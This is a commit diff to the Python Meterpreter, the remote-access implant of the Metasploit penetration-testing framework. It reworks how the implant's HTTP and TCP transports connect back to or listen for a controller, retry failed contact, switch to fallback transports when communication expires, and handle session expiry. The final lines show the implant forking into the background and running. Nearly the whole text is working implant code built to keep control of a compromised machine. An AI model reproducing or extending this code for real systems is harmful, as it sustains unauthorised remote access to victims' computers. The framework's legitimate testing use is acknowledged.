Pymet transport stabilty and correction
parent
4b5b7c8a27
commit
2a891c50eb
|
@ -77,9 +77,6 @@ PACKET_TYPE_RESPONSE = 1
|
||||||
PACKET_TYPE_PLAIN_REQUEST = 10
|
PACKET_TYPE_PLAIN_REQUEST = 10
|
||||||
PACKET_TYPE_PLAIN_RESPONSE = 11
|
PACKET_TYPE_PLAIN_RESPONSE = 11
|
||||||
|
|
||||||
STAGE_END_MARKER = bytes('### meterpreter stage end ###\n')
|
|
||||||
STAGE_START_MARKER = bytes('#!/usr/b')
|
|
||||||
|
|
||||||
ERROR_SUCCESS = 0
|
ERROR_SUCCESS = 0
|
||||||
# not defined in original C implementation
|
# not defined in original C implementation
|
||||||
ERROR_FAILURE = 1
|
ERROR_FAILURE = 1
|
||||||
|
@ -409,10 +406,17 @@ class Transport(object):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.communication_timeout = SESSION_COMMUNICATION_TIMEOUT
|
self.communication_timeout = SESSION_COMMUNICATION_TIMEOUT
|
||||||
self.communication_last = 0
|
self.communication_last = 0
|
||||||
self.communication_active = True
|
self.communication_active = False
|
||||||
self.retry_total = SESSION_RETRY_TOTAL
|
self.retry_total = SESSION_RETRY_TOTAL
|
||||||
self.retry_wait = SESSION_RETRY_WAIT
|
self.retry_wait = SESSION_RETRY_WAIT
|
||||||
|
|
||||||
|
def __repr__(self):
|
||||||
|
return "<{0} url='{1}' >".format(self.__class__.__name__, self.url)
|
||||||
|
|
||||||
|
@property
|
||||||
|
def communication_has_expired(self):
|
||||||
|
return self.communication_last + self.communication_timeout < time.time()
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def from_request(request):
|
def from_request(request):
|
||||||
url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value']
|
url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value']
|
||||||
|
@ -427,30 +431,55 @@ class Transport(object):
|
||||||
transport.retry_wait = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value', SESSION_RETRY_WAIT)
|
transport.retry_wait = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value', SESSION_RETRY_WAIT)
|
||||||
return transport
|
return transport
|
||||||
|
|
||||||
|
def _activate(self):
|
||||||
|
return True
|
||||||
|
|
||||||
def activate(self):
|
def activate(self):
|
||||||
|
end_time = time.time() + self.retry_total
|
||||||
|
while time.time() < end_time:
|
||||||
|
try:
|
||||||
|
activate_succeeded = self._activate()
|
||||||
|
except:
|
||||||
|
activate_succeeded = False
|
||||||
|
if activate_succeeded:
|
||||||
|
self.communication_last = time.time()
|
||||||
|
self.communication_active = True
|
||||||
|
return True
|
||||||
|
time.sleep(self.retry_wait)
|
||||||
|
return False
|
||||||
|
|
||||||
|
def _deactivate(self):
|
||||||
return
|
return
|
||||||
|
|
||||||
def deactivate(self):
|
def deactivate(self):
|
||||||
return
|
try:
|
||||||
|
self._deactivate()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
self.communication_last = 0
|
||||||
|
self.communication_active = False
|
||||||
|
return True
|
||||||
|
|
||||||
def get_packet(self):
|
def get_packet(self):
|
||||||
self.communication_active = False
|
|
||||||
try:
|
try:
|
||||||
pkt = self._get_packet()
|
pkt = self._get_packet()
|
||||||
except:
|
except:
|
||||||
|
self.communication_active = False
|
||||||
return None
|
return None
|
||||||
self.communication_active = True
|
if pkt:
|
||||||
self.communication_last = time.time()
|
self.communication_active = True
|
||||||
|
self.communication_last = time.time()
|
||||||
return pkt
|
return pkt
|
||||||
|
|
||||||
def send_packet(self, pkt):
|
def send_packet(self, pkt):
|
||||||
self.communication_active = False
|
|
||||||
try:
|
try:
|
||||||
self._send_packet(pkt)
|
self._send_packet(pkt)
|
||||||
except:
|
except:
|
||||||
return None
|
self.communication_active = False
|
||||||
|
return False
|
||||||
self.communication_active = True
|
self.communication_active = True
|
||||||
self.communication_last = time.time()
|
self.communication_last = time.time()
|
||||||
|
return True
|
||||||
|
|
||||||
def tlv_pack_timeouts(self):
|
def tlv_pack_timeouts(self):
|
||||||
response = tlv_pack(TLV_TYPE_TRANS_COMM_TIMEOUT, self.communication_timeout)
|
response = tlv_pack(TLV_TYPE_TRANS_COMM_TIMEOUT, self.communication_timeout)
|
||||||
|
@ -484,19 +513,32 @@ class HttpTransport(Transport):
|
||||||
urllib.install_opener(opener)
|
urllib.install_opener(opener)
|
||||||
self.url = url
|
self.url = url
|
||||||
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
|
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
|
||||||
|
self._first_packet = None
|
||||||
|
|
||||||
|
def _activate(self):
|
||||||
|
return True
|
||||||
|
self._first_packet = None
|
||||||
|
packet = self._get_packet()
|
||||||
|
if packet is None:
|
||||||
|
return False
|
||||||
|
self._first_packet = packet
|
||||||
|
return True
|
||||||
|
|
||||||
def _get_packet(self):
|
def _get_packet(self):
|
||||||
|
if self._first_packet:
|
||||||
|
packet = self._first_packet
|
||||||
|
self._first_packet = None
|
||||||
|
return packet
|
||||||
packet = None
|
packet = None
|
||||||
request = urllib.Request(self.url, bytes('RECV', 'UTF-8'), self._http_request_headers)
|
request = urllib.Request(self.url, bytes('RECV', 'UTF-8'), self._http_request_headers)
|
||||||
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
|
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
|
||||||
packet = url_h.read()
|
packet = url_h.read()
|
||||||
if packet:
|
if not packet or len(packet) < 8:
|
||||||
if packet[8:] == STAGE_START_MARKER:
|
return None
|
||||||
return _get_packet()
|
pkt_length, _ = struct.unpack('>II', packet[:8])
|
||||||
packet = packet[8:]
|
if len(packet) != pkt_length:
|
||||||
else:
|
return None
|
||||||
packet = None
|
return packet[8:]
|
||||||
return packet
|
|
||||||
|
|
||||||
def _send_packet(self, packet):
|
def _send_packet(self, packet):
|
||||||
request = urllib.Request(self.url, packet, self._http_request_headers)
|
request = urllib.Request(self.url, packet, self._http_request_headers)
|
||||||
|
@ -517,6 +559,7 @@ class TcpTransport(Transport):
|
||||||
self.url = url
|
self.url = url
|
||||||
self.socket = socket
|
self.socket = socket
|
||||||
self._cleanup_thread = None
|
self._cleanup_thread = None
|
||||||
|
self._first_packet = True
|
||||||
|
|
||||||
def _sock_cleanup(self, sock):
|
def _sock_cleanup(self, sock):
|
||||||
remaining_time = self.communication_timeout
|
remaining_time = self.communication_timeout
|
||||||
|
@ -528,9 +571,7 @@ class TcpTransport(Transport):
|
||||||
remaining_time -= time.time() - iter_start_time
|
remaining_time -= time.time() - iter_start_time
|
||||||
sock.close()
|
sock.close()
|
||||||
|
|
||||||
def activate(self):
|
def _activate(self):
|
||||||
if self.socket:
|
|
||||||
return
|
|
||||||
if self.url.startswith('tcp:'):
|
if self.url.startswith('tcp:'):
|
||||||
family = socket.AF_INET
|
family = socket.AF_INET
|
||||||
address, port = self.url[6:].split(':', 1)
|
address, port = self.url[6:].split(':', 1)
|
||||||
|
@ -538,6 +579,7 @@ class TcpTransport(Transport):
|
||||||
family = socket.AF_INET6
|
family = socket.AF_INET6
|
||||||
address, port = self.url[7:].split(':', 1)
|
address, port = self.url[7:].split(':', 1)
|
||||||
port = int(port.rstrip('/'))
|
port = int(port.rstrip('/'))
|
||||||
|
timeout = max(self.communication_timeout, 30)
|
||||||
if address in ('', '0.0.0.0', '::'):
|
if address in ('', '0.0.0.0', '::'):
|
||||||
try:
|
try:
|
||||||
server_sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
|
server_sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
|
||||||
|
@ -546,34 +588,41 @@ class TcpTransport(Transport):
|
||||||
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
server_sock.bind(('', port))
|
server_sock.bind(('', port))
|
||||||
server_sock.listen(1)
|
server_sock.listen(1)
|
||||||
if not select.select([server_sock], [], [], self.communication_timeout)[0]:
|
if not select.select([server_sock], [], [], timeout)[0]:
|
||||||
raise RuntimeError('connection timed out')
|
server_sock.close()
|
||||||
|
return False
|
||||||
sock, _ = server_sock.accept()
|
sock, _ = server_sock.accept()
|
||||||
server_sock.close()
|
server_sock.close()
|
||||||
else:
|
else:
|
||||||
sock = socket.socket(family, socket.SOCK_STREAM)
|
sock = socket.socket(family, socket.SOCK_STREAM)
|
||||||
|
sock.settimeout(timeout)
|
||||||
sock.connect((address, port))
|
sock.connect((address, port))
|
||||||
|
sock.settimeout(None)
|
||||||
self.socket = sock
|
self.socket = sock
|
||||||
return
|
self._first_packet = True
|
||||||
|
return True
|
||||||
|
|
||||||
def deactivate(self):
|
def _deactivate(self):
|
||||||
if not self.socket:
|
|
||||||
return
|
|
||||||
cleanup = threading.Thread(target=self._sock_cleanup, args=(self.socket,))
|
cleanup = threading.Thread(target=self._sock_cleanup, args=(self.socket,))
|
||||||
cleanup.run()
|
cleanup.run()
|
||||||
self.socket = None
|
self.socket = None
|
||||||
|
|
||||||
def _get_packet(self):
|
def _get_packet(self):
|
||||||
packet = None
|
packet = None
|
||||||
if select.select([self.socket], [], [], self.communication_timeout)[0]:
|
first = self._first_packet
|
||||||
|
self._first_packet = False
|
||||||
|
if select.select([self.socket], [], [], max(self.communication_timeout, 0.5))[0]:
|
||||||
packet = self.socket.recv(8)
|
packet = self.socket.recv(8)
|
||||||
if len(packet) != 8:
|
if len(packet) != 8:
|
||||||
|
if first and len(packet) == 4:
|
||||||
|
received = 0
|
||||||
|
pkt_length = struct.unpack('>I', packet)[0]
|
||||||
|
self.socket.settimeout(max(self.communication_timeout, 30))
|
||||||
|
while received < pkt_length:
|
||||||
|
received += len(self.socket.recv(pkt_length - received))
|
||||||
|
self.socket.settimeout(None)
|
||||||
|
return self._get_packet()
|
||||||
return None
|
return None
|
||||||
if packet == STAGE_START_MARKER:
|
|
||||||
while self.socket.recv(len(STAGE_END_MARKER), socket.MSG_PEEK) != STAGE_END_MARKER:
|
|
||||||
self.socket.recv(1)
|
|
||||||
self.socket.recv(len(STAGE_END_MARKER))
|
|
||||||
return self._get_packet()
|
|
||||||
pkt_length, pkt_type = struct.unpack('>II', packet)
|
pkt_length, pkt_type = struct.unpack('>II', packet)
|
||||||
pkt_length -= 8
|
pkt_length -= 8
|
||||||
packet = bytes()
|
packet = bytes()
|
||||||
|
@ -601,7 +650,6 @@ class TcpTransport(Transport):
|
||||||
class PythonMeterpreter(object):
|
class PythonMeterpreter(object):
|
||||||
def __init__(self, transport):
|
def __init__(self, transport):
|
||||||
self.transport = transport
|
self.transport = transport
|
||||||
self.transport.activate()
|
|
||||||
self.running = False
|
self.running = False
|
||||||
self.last_registered_extension = None
|
self.last_registered_extension = None
|
||||||
self.extension_functions = {}
|
self.extension_functions = {}
|
||||||
|
@ -648,13 +696,21 @@ class PythonMeterpreter(object):
|
||||||
return idx
|
return idx
|
||||||
|
|
||||||
def get_packet(self):
|
def get_packet(self):
|
||||||
return self.transport.get_packet()
|
pkt = self.transport.get_packet()
|
||||||
|
if pkt is None and self.transport.communication_has_expired:
|
||||||
|
self.transport_change()
|
||||||
|
return pkt
|
||||||
|
|
||||||
def send_packet(self, packet):
|
def send_packet(self, packet):
|
||||||
self.transport.send_packet(packet)
|
send_succeeded = self.transport.send_packet(packet)
|
||||||
|
if not send_succeeded and self.transport.communication_has_expired:
|
||||||
|
self.transport_change()
|
||||||
|
return send_succeeded
|
||||||
|
|
||||||
@property
|
@property
|
||||||
def session_has_expired(self):
|
def session_has_expired(self):
|
||||||
|
if self.session_expiry_time == 0:
|
||||||
|
return False
|
||||||
return time.time() > self.session_expiry_end
|
return time.time() > self.session_expiry_end
|
||||||
|
|
||||||
def transport_change(self, new_transport=None):
|
def transport_change(self, new_transport=None):
|
||||||
|
@ -663,7 +719,10 @@ class PythonMeterpreter(object):
|
||||||
if new_transport is None:
|
if new_transport is None:
|
||||||
new_transport = self.transport_next()
|
new_transport = self.transport_next()
|
||||||
self.transport.deactivate()
|
self.transport.deactivate()
|
||||||
new_transport.activate()
|
self.debug_print('[*] changing transport to: ' + new_transport.url)
|
||||||
|
while not new_transport.activate():
|
||||||
|
new_transport = self.transport_next(new_transport)
|
||||||
|
self.debug_print('[*] changing transport to: ' + new_transport.url)
|
||||||
self.transport = new_transport
|
self.transport = new_transport
|
||||||
|
|
||||||
def transport_next(self, current_transport=None):
|
def transport_next(self, current_transport=None):
|
||||||
|
@ -685,7 +744,7 @@ class PythonMeterpreter(object):
|
||||||
def run(self):
|
def run(self):
|
||||||
while self.running and not self.session_has_expired:
|
while self.running and not self.session_has_expired:
|
||||||
request = None
|
request = None
|
||||||
should_get_packet = self.transport.communication_active or ((time.time() - self.transport.communication_last) > 0.5)
|
should_get_packet = self.transport.communication_active or ((time.time() - self.transport.communication_last) > 1)
|
||||||
if should_get_packet:
|
if should_get_packet:
|
||||||
request = self.get_packet()
|
request = self.get_packet()
|
||||||
if request:
|
if request:
|
||||||
|
@ -827,7 +886,8 @@ class PythonMeterpreter(object):
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def _core_transport_list(self, request, response):
|
def _core_transport_list(self, request, response):
|
||||||
response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time())
|
if self.session_expiry_time > 0:
|
||||||
|
response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time())
|
||||||
response += tlv_pack(TLV_TYPE_TRANS_GROUP, self.transport.tlv_pack_transport_group())
|
response += tlv_pack(TLV_TYPE_TRANS_GROUP, self.transport.tlv_pack_transport_group())
|
||||||
|
|
||||||
transport = self.transport_next()
|
transport = self.transport_next()
|
||||||
|
@ -862,7 +922,7 @@ class PythonMeterpreter(object):
|
||||||
|
|
||||||
def _core_transport_set_timeouts(self, request, response):
|
def _core_transport_set_timeouts(self, request, response):
|
||||||
timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_SESSION_EXP).get('value')
|
timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_SESSION_EXP).get('value')
|
||||||
if timeout_value:
|
if not timeout_value is None:
|
||||||
self.session_expiry_time = timeout_value
|
self.session_expiry_time = timeout_value
|
||||||
self.session_expiry_end = time.time() + self.session_expiry_time
|
self.session_expiry_end = time.time() + self.session_expiry_time
|
||||||
timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value')
|
timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value')
|
||||||
|
@ -875,7 +935,8 @@ class PythonMeterpreter(object):
|
||||||
if retry_value:
|
if retry_value:
|
||||||
self.transport.retry_wait = retry_value
|
self.transport.retry_wait = retry_value
|
||||||
|
|
||||||
response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time())
|
if self.session_expiry_time > 0:
|
||||||
|
response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time())
|
||||||
response += self.transport.tlv_pack_timeouts()
|
response += self.transport.tlv_pack_timeouts()
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@ -885,7 +946,8 @@ class PythonMeterpreter(object):
|
||||||
if seconds:
|
if seconds:
|
||||||
self.transport.deactivate()
|
self.transport.deactivate()
|
||||||
time.sleep(seconds)
|
time.sleep(seconds)
|
||||||
self.transport.activate()
|
if not self.transport.activate():
|
||||||
|
self.transport_change()
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def _core_channel_open(self, request, response):
|
def _core_channel_open(self, request, response):
|
||||||
|
@ -1027,5 +1089,3 @@ if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
||||||
transport = TcpTransport.from_socket(s)
|
transport = TcpTransport.from_socket(s)
|
||||||
met = PythonMeterpreter(transport)
|
met = PythonMeterpreter(transport)
|
||||||
met.run()
|
met.run()
|
||||||
|
|
||||||
### meterpreter stage end ###
|
|
||||||
|
|
Loading…
Reference in New Issue